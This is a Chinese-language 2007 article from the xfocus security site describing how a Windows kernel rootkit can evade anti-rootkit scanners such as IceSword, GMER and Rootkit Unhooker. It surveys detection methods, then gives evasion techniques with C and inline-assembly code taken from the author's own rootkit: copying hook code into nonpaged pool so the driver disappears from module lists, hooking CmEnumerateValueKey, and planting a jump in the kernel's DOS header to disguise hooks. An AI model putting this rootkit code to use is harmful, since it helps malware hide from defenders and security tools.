xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
添加文章 Xcon English Version

绕过现代Anti-Rookit工具的内核模块扫描


创建时间:2007-10-24 更新时间:2007-10-25
文章属性:原创
文章提交:MJ0011 (tyjaaa_at_163.com)

绕过现代Anti-Rookit工具的内核模块扫描
(Bypass modern anti-rootkit tools's kernel mode scan)

MJ0011
th_decoder@126.com
2007-10-24


本文描述了一些方法,可以绕过目前主流的现代Anti-rootkit工具,包括但不限于:
Icesword 最新版
Gmer最新版
Rootkit unhooker 最新版
DarkSpy 最新版
AVG Anti-rootkit最新版
等等


目前的anti-rootkit工具中,对于内核模块主要采用如下几种扫描方式:

1.恢复ZwQuerySystemInformation的hook,然后利用功能号SystemModuleInformation进行枚举
例如Icesword

2.遍历PsLoadModuleList,Driver/Device/Section Object链,或者TypeList链等(总之是找驱动相关对象)进行枚举
例如Rootkit Unhooker,Gmer等

3.内核镜象暴力搜索,搜索MZ,PE等等标志结合进行判断内存里是否有PE镜象,如rootkit unhooker,rutkowska的modgreper等,通常只能显示为unknow image

4.函数引用,各种routine\hook等,先HOOK一些常用函数,然后当驱动去调用这些函数时,记下其地址,检测时使用,或者是根据各种routine(dispatch routine,IDT,Image Notfiy等)或各种hook(inline hook,iat/eat hook等等),通常只能显示为unknow image或unknow xxx handler等

5.使用系统ImageLoad Notfiy,使用一个BOOT驱动,记录所有模块load的消息,检测时进行分析 如AVG Anti-rootkit等


先说绕过1,2,3,5的办法
很简单,使用诸如ZwSetSystemInformation的函数加载驱动,然后在DriverEntry中分配NonPagedPool的内存,然后将功能代码/函数copy到该内存中,然后进行必要的HOOK,最后返回STATUS_UNSUCCESSFULL.

这样驱动在PsLoadModuleList、各种对象链里就消失了,自然也就不存在于ZwQuerySystemInformation枚举的列表里
需要注意的是,copy到内存中的代码要尽量简单,基本不会生成需要重定位的代码了,但调用系统函数还是要另想办法

我的某个RK里是这样做的,例如A Function用来hook 系统函数B,其中需要调用系统函数C,

那么分配一块内存,大小= len(A) + sizeof(ULONG) * 2

在内存的前两个DWORD放OrgB,以及C的地址,后面开始放函数代码

函数中使用call +5 对自身的位置进行定位,找到内存开始的位置,然后得到OrgB和C

当然也可以在COPY入内存前自己用绝对地址定位函数~不过不如这个方法灵活

相关代码:
//hook call CmEnumerateValueKey

void InstallCMRegHook()
{
    PVOID _CmEnumerateKeyValueLoc ;
    

    _CmEnumerateKeyValueLoc = FindCmEnumerateValueKey();
    //找到 call CmEnumerateValueKey

    HookCodeLen = (ULONG)NopFunc8 - (ULONG)NewCmEnumerateValueKey ;
    //获得NewCmEnumerateValueKey长度

    HookCode3 = ExAllocatePoolWithTag(NonPagedPool ,
    HookCodeLen + 4 ,
    MEM_TAG_HOOKCODE3);
    
    //分配内存

    *(ULONG*)HookCode3 = *(ULONG*)_CmEnumerateKeyValueLoc ;
    
    //原函数地址放入内存

    RtlCopyMemory((PVOID)HookCode3 + sizeof(ULONG) , (PVOID)NewCmEnumerateValueKey ,HookCodeLen);

    //copy函数代码

    DO_SPINLOCK();
    *(ULONG*)_CmEnumerateValueKeyLoc = HookCode3 + sizeof(ULONG);

    //进行HOOK

    EXIT_SPINLOCK();
    return ;
    
}

NTSTATUS NewCmEnumearateValueKey(IN PVOID    KeyControlBlock,
    IN ULONG Index,
    IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
    IN PVOID KeyValueInformation,
    IN ULONG KeyLength,
    IN PULONG ResultLength
    )
{
//下面找到本函数开始地址,并获得保存在内存中的OrgCmEnumerateValueKey的地址

    __asm
    {
        push    eax
        call    __
__:
        POP        eax
        SUB        eax,offset __
        add        eax,offset NewCmEnumearateValueKey

;获得函数开始地址

        sub        eax,4    
        mov        eax,[eax]

;获得OrgCmEnumerateValueKey

        push    ResultLength
        push    KeyLength
        push    KeyValueInformation
        push    KeyValueInformationClass
        push    Index
        push    KeyControlBlock
        call    eax    
        mov        stat, eax
;调用原始函数
        pop        eax
    }

//.....其他处理
//
//.....
}


void NopFunc8()
{
    __asm
    {
        nop
        nop
        nop
    }
    return ;
}

//上面这个NopFunc用于NewCmEumerateValueKey函数长度定位


这样,基于ZwQuerySystemInformation,PsLoadModuleList,对象目录,Type链,ImageLoad,暴力PE搜索(因为我们压根就没有PE镜象,just one piece of code~)...

接下来看如何绕过4.中的检测方式

1.Hook常用函数:这个很简单了,恢复自己要用的函数~或者压根就不用那些函数,HOOK代码大部分都是数据过滤/处理部分,所以完全可以一个系统函数也不调...

2.各种routine检测,这个可以用多次跳转方式搞定,例如Dispatch hook,因为获取各种DRIVER的DISPATCH 原始地址没有比较通用的方法,所以检测dispatch是否被HOOK的方式通常都是检测其地址是否在其模块的Code Section中(类似的还有object hook,pxxxx hook等),使用此方法的例如rootkit  unhooker, gmer等

只要我们先使用这样的方法,就可以绕过检测,让Anti-rootkit工具不知道是我们的模块HOOK了这里:

先将dispatch地址跳转到code section中不用的部分,5个字节就足够了,然后在这5个字节里使用jmp指令再跳到我们的模块里,这样Anti-rootkit工具检测时,就会发现dispatch routine仍然在该模块的code section中

通过这种方法也可以绕过对dispatch hook\object hook的检测

inline hook/iat/eat hook也可以用类似的方法来躲过模块检测,不过无法避免HOOK被检测到 ^-^

即使Anti-rootkit工具使用更复杂的算法,对各个routine进行深度代码级扫描,我们也可以通过复杂逻辑/代码,将我们的最后跳转地址藏起来:)

一个简单的双段跳绕过object hook检测的代码:
object hook方法因为未被公开过,故细节略去,方便起见,没有写找code section的代码,直接将跳转代码写到了ntoskrnl的DOS Header中
同样来自于我的某RK:
ULONG InsideHookCode(ULONG NewAddress , ULONG BaseCode )
{
//该函数用于将hook代码转接到模块的DOS头中

    //in :NewAddress: real hookcode to jump
    //in :ModuleName: kernel module base address to inject
    //out :NewJump Address


ULONG TempCode = BaseCode ;

    TempCode = TempCode + sizeof(IMAGE_DOS_HEADER) ;
    //into DOS stub

    DO_SPINLOCK();
    WPOFF();
    
    *(BYTE*)TempCode = 0xe9 ;
    __asm
    {
        push    eax
        push    ecx
        mov        ecx, TempCode
        mov        eax, NewAddress
        sub        eax, ecx
        sub        eax, 5
        mov        dword ptr[ecx+1] , eax
        pop        ecx
        pop        eax
    }
    
    WPON();
    EXIT_SPINLOCK();

    //write jmp NewAddress into DOS stub
    return TempCode ;

    


    
}